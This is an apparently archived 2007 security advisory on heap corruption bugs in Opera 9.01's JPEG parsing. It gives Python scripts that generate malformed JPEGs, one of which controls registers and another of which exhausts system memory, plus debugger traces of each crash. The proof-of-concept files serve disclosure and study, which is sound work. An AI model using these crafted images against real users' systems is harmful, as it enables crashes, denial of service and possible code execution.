Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:15647
HistoryJan 09, 2007 - 12:00 a.m.

Opera JPEG processing - Heap corruption vulnerabilities

2007-01-0900:00:00
vulners.com
11

Opera JPEG processing - Heap corruption vulnerabilities

Date…: 8th September 2006
31th October 2006 (update)
3rd November 2006 (update)
5th January 2007 (public release)

http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=457

Author: posidron

Application: Opera 9.01 Build 8552
Environment: Windows XP Professional, Service Pack 2 - DE

Preamble

Opera is vulnerable in parsing the JPEG file format. Discovered were four
vulnerabilities, each in different segments of the file format. I will
describe in this advisory the two important ones.

1 - ntdll.RtlAllocateHeap() DHT vulnerability
2 - ntdll.RtlAllocateHeap() SOS vulnerability

Opera Mini for mobile phones could be vulnerable also. The second bug looks
very interesting to this topic.

Details

The following code produces the sample image on which all further operations
are made. It's a valid image which was generated with Adobe Photoshop.

Properties

Type : JPEG
Size : 1px x 1px
Compression: Low
Colors: : None
Filesize : 304 bytes

File: sample.py

bytes = [
0xFF, 0xD8, 0xFF, 0xE0, 0x00, 0x10, 0x4A, 0x46, 0x49, 0x46, 0x00, 0x01, 0x02,
0x00, 0x00, 0x64, 0x00, 0x64, 0x00, 0x00, 0xFF, 0xEC, 0x00, 0x11, 0x44, 0x75,
0x63, 0x6B, 0x79, 0x00, 0x01, 0x00, 0x04, 0x00, 0x00, 0x00, 0x0A, 0x00, 0x00,
0xFF, 0xEE, 0x00, 0x0E, 0x41, 0x64, 0x6F, 0x62, 0x65, 0x00, 0x64, 0xC0, 0x00,
0x00, 0x00, 0x01, 0xFF, 0xDB, 0x00, 0x84, 0x00, 0x14, 0x10, 0x10, 0x19, 0x12,
0x19, 0x27, 0x17, 0x17, 0x27, 0x32, 0x26, 0x1F, 0x26, 0x32, 0x2E, 0x26, 0x26,
0x26, 0x26, 0x2E, 0x3E, 0x35, 0x35, 0x35, 0x35, 0x35, 0x3E, 0x44, 0x41, 0x41,
0x41, 0x41, 0x41, 0x41, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44,
0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44,
0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x01, 0x15, 0x19, 0x19, 0x20, 0x1C,
0x20, 0x26, 0x18, 0x18, 0x26, 0x36, 0x26, 0x20, 0x26, 0x36, 0x44, 0x36, 0x2B,
0x2B, 0x36, 0x44, 0x44, 0x44, 0x42, 0x35, 0x42, 0x44, 0x44, 0x44, 0x44, 0x44,
0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44,
0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44,
0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0xFF, 0xC0, 0x00, 0x11, 0x08, 0x00,
0x01, 0x00, 0x01, 0x03, 0x01, 0x22, 0x00, 0x02, 0x11, 0x01, 0x03, 0x11, 0x01,
0xFF, 0xC4, 0x00, 0x4B, 0x00, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x06, 0x01, 0x01, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x10, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x11, 0x01, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF,
0xDA, 0x00, 0x0C, 0x03, 0x01, 0x00, 0x02, 0x11, 0x03, 0x11, 0x00, 0x3F, 0x00,
0xB3, 0x00, 0x1F, 0xFF, 0xD9 ]

f = open(file+".jpg", "wb")
for byte in bytes: f.write("%c" % byte)
f.close()
print file+".jpg created! (%d bytes)" % len(bytes)

eof

F:\vulndev\Opera> python sample.py
sample.py.jpg created! (304 bytes)
F:\vulndev\Opera>

                 **************************************************

Details - ntdll.RtlAllocateHeap() DHT vulnerability

Segment: Define Huffman Table (DHT)

DHT…: FF C4
Length…: 00 4B
Index…: 00
Number of codes…: 01 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 06
Sum of previous bytes: 01 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
10 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
11 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

We change the above to the below:

Number of codes…: 02 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Sum of previous bytes: 41 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
10 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
11 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

File: heap.py

bytes = [
0xFF, 0xD8, 0xFF, 0xE0, 0x00, 0x10, 0x4A, 0x46, 0x49, 0x46, 0x00, 0x01, 0x02,
0x00, 0x00, 0x64, 0x00, 0x64, 0x00, 0x00, 0xFF, 0xEC, 0x00, 0x11, 0x44, 0x75,
0x63, 0x6B, 0x79, 0x00, 0x01, 0x00, 0x04, 0x00, 0x00, 0x00, 0x0A, 0x00, 0x00,
0xFF, 0xEE, 0x00, 0x0E, 0x41, 0x64, 0x6F, 0x62, 0x65, 0x00, 0x64, 0xC0, 0x00,
0x00, 0x00, 0x01, 0xFF, 0xDB, 0x00, 0x84, 0x00, 0x14, 0x10, 0x10, 0x19, 0x12,
0x19, 0x27, 0x17, 0x17, 0x27, 0x32, 0x26, 0x1F, 0x26, 0x32, 0x2E, 0x26, 0x26,
0x26, 0x26, 0x2E, 0x3E, 0x35, 0x35, 0x35, 0x35, 0x35, 0x3E, 0x44, 0x41, 0x41,
0x41, 0x41, 0x41, 0x41, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44,
0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44,
0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x01, 0x15, 0x19, 0x19, 0x20, 0x1C,
0x20, 0x26, 0x18, 0x18, 0x26, 0x36, 0x26, 0x20, 0x26, 0x36, 0x44, 0x36, 0x2B,
0x2B, 0x36, 0x44, 0x44, 0x44, 0x42, 0x35, 0x42, 0x44, 0x44, 0x44, 0x44, 0x44,
0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44,
0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44,
0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0xFF, 0xC0, 0x00, 0x11, 0x08, 0x00,
0x01, 0x00, 0x01, 0x03, 0x01, 0x22, 0x00, 0x02, 0x11, 0x01, 0x03, 0x11, 0x01,

0xFF, 0xC4, 0x00, 0x4B, 0x00, 0x02, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x41, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x10, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x11, 0x01, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

                                                                    0xFF,

0xDA, 0x00, 0x0C, 0x03, 0x01, 0x00, 0x02, 0x11, 0x03, 0x11, 0x00, 0x3F, 0x00,
0xB3, 0x00, 0x1F, 0xFF, 0xD9 ]

f = open(file+".jpg", "wb")
for byte in bytes: f.write("%c" % byte)
f.close()
print file+".jpg created! (%d bytes)" % len(bytes)

eof

F:\vulndev\Opera> python heap.py
heap.py.jpg created! (304 bytes)
F:\vulndev\Opera>

Analyse - ntdll.RtlAllocateHeap() DHT vulnerability

The call stack is very large, I think here is a good place to start:

74E5D637 call dword ptr ds:[eax+4] ; set hardware bp on execution

it's the 6th function from the top of the "crash" call stack. Restart Olly,
press F9 until Opera shows up again.

Hit F7 until:

74E610B6 mov bl, byte ptr ds:[eax+1] ; set hardware bp on execution

Hit F9 until the following shows up in the panel, at this statement:

ds:[543502E9]=C4 ('Ä')
bl=00

That's the marker of the "Define Huffman Table" segment.
Go on with F9, you will reach again:

call dword ptr ds:[eax+4]

Hit again F9, Opera shows up, drag the image into Opera.
You will reach again:

call dword ptr ds:[eax+4]

Hit F9 until you reached:

74E610B6 mov bl, byte ptr ds:[eax+1]

Hit F9 until the following shows up in the panel, at this statement:

ds:[543502E9]=C4 ('Ä')
bl=00

Hit F7 to continue.

74E5D735 push ebp
74E5D736 mov ebp, esp

74E5D750 mov dh, byte ptr ds:[eax+2] ; user input
74E5D753 mov dl, byte ptr ds:[eax+3] ; user input
74E5D756 lea edi, dword ptr ds:[edx+2]
74E5D759 cmp ecx, edi
74E5D75B jnb short Opera_1.74E5D765

First bytes of this marker are readed in there.

Go on…

74E5D7C2 mov dl, byte ptr ds:[eax+ecx] ; read eax + n
74E5D7C5 mov byte ptr ss:[ebp+ecx-40], dl ; new location
74E5D7C9 movzx edx, dl
74E5D7CC add ebx, edx
74E5D7CE inc ecx ; n+=1
74E5D7CF cmp ecx, 10 ; until n > 16
74E5D7D2 jb short Opera_1.74E5D7C2
74E5D7D4 lea eax, dword ptr ds:[ebx+1]
74E5D7D7 mov dword ptr ss:[ebp-18], ebx
74E5D7DA push eax
74E5D7DB call Opera_1.751E8B75 ; Opera allocation function

Several operations are made here, single stepping might be interesting,
to follow the read-in process.

74E5D7E0 mov edi, eax
74E5D7E2 lea eax, dword ptr ds:[ebx+ebx]
74E5D7E5 push eax
74E5D7E6 mov dword ptr ss:[ebp-1C], edi
74E5D7E0 mov edi, eax
74E5D7E2 lea eax, dword ptr ds:[ebx+ebx]
74E5D7E5 push eax
74E5D7E6 mov dword ptr ss:[ebp-1C], edi
74E5D7E9 call Opera_1.751E8B75 ; Opera allocation function

If you return here, the last procedures are made.

74E5D8A7 mov eax, dword ptr ss:[ebp-18]
74E5D8AA add eax, 260 ; new allocation size
74E5D8AF push eax
74E5D8B0 call Opera_1.751E8B75 ; Opera allocation function
<snip>
76709E57 push esi ; Size
76709E58 push 0 ; Flags
76709E5A push dword ptr ds:[768268C0] ; Handle
76709E60 call dword ptr ds:[7671C1C0] ; ntdll.RtlAllocateHeap
<snip>
6BB01414 lea edx, dword ptr ds:[esi+8] ; our "string"
6BB01417 mov dword ptr ss:[ebp-10C], edx
6BB0141D mov eax, dword ptr ds:[edx]
6BB0141F mov dword ptr ss:[ebp-16C], eax
6BB01425 mov ecx, dword ptr ds:[edx+4]
6BB01428 mov dword ptr ss:[ebp-114], ecx
6BB0142E mov edi, dword ptr ds:[ecx] ; ds:[41414141]=???

Access violation when reading [41414141]

EAX 41414141
ECX 41414141
EDX 5C9C9348 ASCII "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
EBX 59110000
ESP 578DEB6C
EBP 578DED8C
ESI 5C9C9340
EDI 0000004F
EIP 3D3D142E ntdll.3D3D142E

At this point we are able to control 4 bytes of EAX and ECX with two bytes,
defined in the JPEG file.
Somebody with a better understanding of the "Define Huffman Table" segment
can probably do more. There are several other issues in parsing this segment.
These routines are very nested and big, it would be a very time-consuming
research.

                 **************************************************

Details - ntdll.RtlAllocateHeap() SOS vulnerability

The arrows mark the components whose datatypes are not properly validated by
Opera. This can lead to unexpected vulnerabilities depending on the function
flow.

Segment: Start Of Scan (SOS)

SOS: FF DA
Length: 00 0C
Components: 03
Data of component:
- component number: 01
- 4Bit DC table, 4Bit AC table: 00

   - component number:              02
   - 4Bit DC table, 4Bit AC table:  11

   - component number:              03
   - 4Bit DC table, 4Bit AC table:  11

In the next example we set the value of "Components" to 01, we also overwrite
the end of file with dump bytes. Note, that we also overwrite the JPEG end
marker FF D9.

After executing this JPEG file with Opera, Opera immediatly allocates memory
until the max page size value is reached, but it doesn't stop.

Note that some third party applications could also crash during this process,
in my case Antivir crashed with a "read memory" error.

File: pavarotti.py

ATTENTION, THIS COULD DAMAGE YOUR RUNNING SYSTEM!

bytes = [
0xFF, 0xD8, 0xFF, 0xE0, 0x00, 0x10, 0x4A, 0x46, 0x49, 0x46, 0x00, 0x01, 0x02,
0x00, 0x00, 0x64, 0x00, 0x64, 0x00, 0x00, 0xFF, 0xEC, 0x00, 0x11, 0x44, 0x75,
0x63, 0x6B, 0x79, 0x00, 0x01, 0x00, 0x04, 0x00, 0x00, 0x00, 0x0A, 0x00, 0x00,
0xFF, 0xEE, 0x00, 0x0E, 0x41, 0x64, 0x6F, 0x62, 0x65, 0x00, 0x64, 0xC0, 0x00,
0x00, 0x00, 0x01, 0xFF, 0xDB, 0x00, 0x84, 0x00, 0x41, 0x41, 0x41, 0x41, 0x41,
0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x01, 0x41, 0x41, 0x41, 0x41, 0x41,
0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0xFF, 0xC0, 0x00, 0x11, 0x08, 0x41,
0x41, 0x41, 0x41, 0x03, 0x41, 0x41, 0x41, 0x41, 0x11, 0x41, 0x41, 0x41, 0x41,
0xFF, 0xC4, 0x00, 0x4B, 0x00, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x41, 0x01, 0x01, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x10, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x11, 0x01, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0xFF,
0xDA, 0x00, 0x0C, 0x01, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
0x11, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41]

f = open(file+".jpg", "wb")
for byte in bytes: f.write("%c" % byte)
f.close()
print file+".jpg created! (%d bytes)" % len(bytes)

eof

F:\vulndev\Opera> python pavarotti.py
pavarotti.py.jpg created! (637 bytes)
F:\vulndev\Opera> opera pavarotti.py.jpg

As said, this could be also interesting on mobile phones with Opera Mini. The
user has no real control to kill the Opera process, which should result in a
phone reboot. This was not tested.

                 **************************************************

Further vulnerabilities

The arrows mark the components whose datatypes are not properly validated by
Opera.

Segment: Start Of Frame (SOF)

SOF: FF C0
Length: 00 11
Strictness: 08
Image Hori.: 00 01
Image Vert.: 00 01
Components: 03
Data of component:
- component number: 01
- 4Bit hori., 4Bit vert., sample factor: 22
- Number of quantisation table: 00 <-

   - component number:                      02
   - 4Bit hori., 4Bit vert., sample factor: 11
   - Number of quantisation table:          01 &lt;-

   - component number:                      03
   - 4Bit hori., 4Bit vert., sample factor: 11
   - Number of quantisation table:          01 &lt;-

The item "Number of quantisation table" of the first component is changed to
FFh in the below file.

File: sof-quanttable.py

bytes = [
0xFF, 0xD8, 0xFF, 0xE0, 0x00, 0x10, 0x4A, 0x46, 0x49, 0x46, 0x00, 0x01, 0x02,
0x00, 0x00, 0x64, 0x00, 0x64, 0x00, 0x00, 0xFF, 0xEC, 0x00, 0x11, 0x44, 0x75,
0x63, 0x6B, 0x79, 0x00, 0x01, 0x00, 0x04, 0x00, 0x00, 0x00, 0x0A, 0x00, 0x00,
0xFF, 0xEE, 0x00, 0x0E, 0x41, 0x64, 0x6F, 0x62, 0x65, 0x00, 0x64, 0xC0, 0x00,
0x00, 0x00, 0x01, 0xFF, 0xDB, 0x00, 0x84, 0x00, 0x14, 0x10, 0x10, 0x19, 0x12,
0x19, 0x27, 0x17, 0x17, 0x27, 0x32, 0x26, 0x1F, 0x26, 0x32, 0x2E, 0x26, 0x26,
0x26, 0x26, 0x2E, 0x3E, 0x35, 0x35, 0x35, 0x35, 0x35, 0x3E, 0x44, 0x41, 0x41,
0x41, 0x41, 0x41, 0x41, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44,
0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44,
0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x01, 0x15, 0x19, 0x19, 0x20, 0x1C,
0x20, 0x26, 0x18, 0x18, 0x26, 0x36, 0x26, 0x20, 0x26, 0x36, 0x44, 0x36, 0x2B,
0x2B, 0x36, 0x44, 0x44, 0x44, 0x42, 0x35, 0x42, 0x44, 0x44, 0x44, 0x44, 0x44,
0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44,
0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44,
0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44,

                                      0xFF, 0xC0, 0x00, 0x11, 0x08, 0x00,

0x01, 0x00, 0x01, 0x03, 0x01, 0x22, 0xFF, 0x02, 0x11, 0x01, 0x03, 0x11, 0x01,
0xFF, 0xC4, 0x00, 0x4B, 0x00, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x06, 0x01, 0x01, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x10, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x11, 0x01, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF,
0xDA, 0x00, 0x0C, 0x03, 0x01, 0x00, 0x02, 0x11, 0x03, 0x11, 0x00, 0x3F, 0x00,
0xB3, 0x00, 0x1F, 0xFF, 0xD9 ]

f = open(file+".jpg", "wb")
for byte in bytes: f.write("%c" % byte)
f.close()
print file+".jpg created! (%d bytes)" % len(bytes)

eof

F:\vulndev\Opera> python sof-quanttable.py
sof-quanttable.py.jpg created! (304 bytes)
F:\vulndev\Opera>

(ntdll)
7C9211D5 mov eax, dword ptr ds:[esi+C]
7C9211D8 mov dword ptr ss:[ebp-98], eax
7C9211DE mov edx, dword ptr ds:[eax] ; <– CRASH

EAX 01010101
ECX 00EB2780
EDX 00930178
EBX 00930000
ESP 0012EC94
EBP 0012EEB4
ESI 00EB2778
EDI 01010101
EIP 7C9211DE ntdll.7C9211DE


Segment: Start Of Scan (SOS)

SOS: FF DA
Length: 00 0C
Components: 03
Data of component:
- component number: 01
- 4Bit DC table, 4Bit AC table: 00 <-

   - component number:              02
   - 4Bit DC table, 4Bit AC table:  11 &lt;-

   - component number:              03
   - 4Bit DC table, 4Bit AC table:  11 &lt;-

The item "4Bit DC table, 4Bit AC table" of the first component is changed to
FFh in the below file.

File: sos-dcactable.py

bytes = [
0xFF, 0xD8, 0xFF, 0xE0, 0x00, 0x10, 0x4A, 0x46, 0x49, 0x46, 0x00, 0x01, 0x02,
0x00, 0x00, 0x64, 0x00, 0x64, 0x00, 0x00, 0xFF, 0xEC, 0x00, 0x11, 0x44, 0x75,
0x63, 0x6B, 0x79, 0x00, 0x01, 0x00, 0x04, 0x00, 0x00, 0x00, 0x0A, 0x00, 0x00,
0xFF, 0xEE, 0x00, 0x0E, 0x41, 0x64, 0x6F, 0x62, 0x65, 0x00, 0x64, 0xC0, 0x00,
0x00, 0x00, 0x01, 0xFF, 0xDB, 0x00, 0x84, 0x00, 0x14, 0x10, 0x10, 0x19, 0x12,
0x19, 0x27, 0x17, 0x17, 0x27, 0x32, 0x26, 0x1F, 0x26, 0x32, 0x2E, 0x26, 0x26,
0x26, 0x26, 0x2E, 0x3E, 0x35, 0x35, 0x35, 0x35, 0x35, 0x3E, 0x44, 0x41, 0x41,
0x41, 0x41, 0x41, 0x41, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44,
0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44,
0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x01, 0x15, 0x19, 0x19, 0x20, 0x1C,
0x20, 0x26, 0x18, 0x18, 0x26, 0x36, 0x26, 0x20, 0x26, 0x36, 0x44, 0x36, 0x2B,
0x2B, 0x36, 0x44, 0x44, 0x44, 0x42, 0x35, 0x42, 0x44, 0x44, 0x44, 0x44, 0x44,
0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44,
0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44,
0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0xFF, 0xC0, 0x00, 0x11, 0x08, 0x00,
0x01, 0x00, 0x01, 0x03, 0x01, 0x22, 0x00, 0x02, 0x11, 0x01, 0x03, 0x11, 0x01,
0xFF, 0xC4, 0x00, 0x4B, 0x00, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x06, 0x01, 0x01, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x10, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x11, 0x01, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF,
0xDA, 0x00, 0x0C, 0x03, 0x01,
0xFF, 0x02, 0x11, 0x03, 0x11, 0x00, 0x3F, 0x00,
0xB3, 0x00, 0x1F, 0xFF, 0xD9 ]

f = open(file+".jpg", "wb")
for byte in bytes: f.write("%c" % byte)
f.close()
print file+".jpg created! (%d bytes)" % len(bytes)

eof

F:\vulndev\Opera> python sos-dcactable.py
sos-dcactable.py.jpg created! (304 bytes)
F:\vulndev\Opera>

67AEE715 push ebp
67AEE716 mov ebp, esp
67AEE718 push esi
67AEE719 mov esi, ecx
67AEE71B cmp dword ptr ds:[esi+48], 8
67AEE71F jge short Opera_12.67AEE733
67AEE721 push dword ptr ss:[ebp+8]
67AEE724 call Opera_12.67AEE7FE
67AEE729 cmp dword ptr ds:[esi+48], 8
67AEE72D jge short Opera_12.67AEE733
67AEE72F push 1
67AEE731 jmp short Opera_12.67AEE75E
67AEE733 mov eax, dword ptr ds:[esi+44] ; ds=B3001F00 (end part of jpeg file)
67AEE736 mov ecx, dword ptr ds:[esi+24]
67AEE739 shr eax, 18
67AEE73C add eax, ecx ;
67AEE73E movzx ecx, byte ptr ds:[eax+60] ; <– CRASH

EAX 000000B2
ECX FFFFFFFF
EDX 00EE2534
EBX 00000005
ESP 0012ECB0
EBP 0012ECB4
ESI 00EE2534
EDI 00EE2534
EIP 67AEE73E Opera_12.67AEE73E

            **************************************************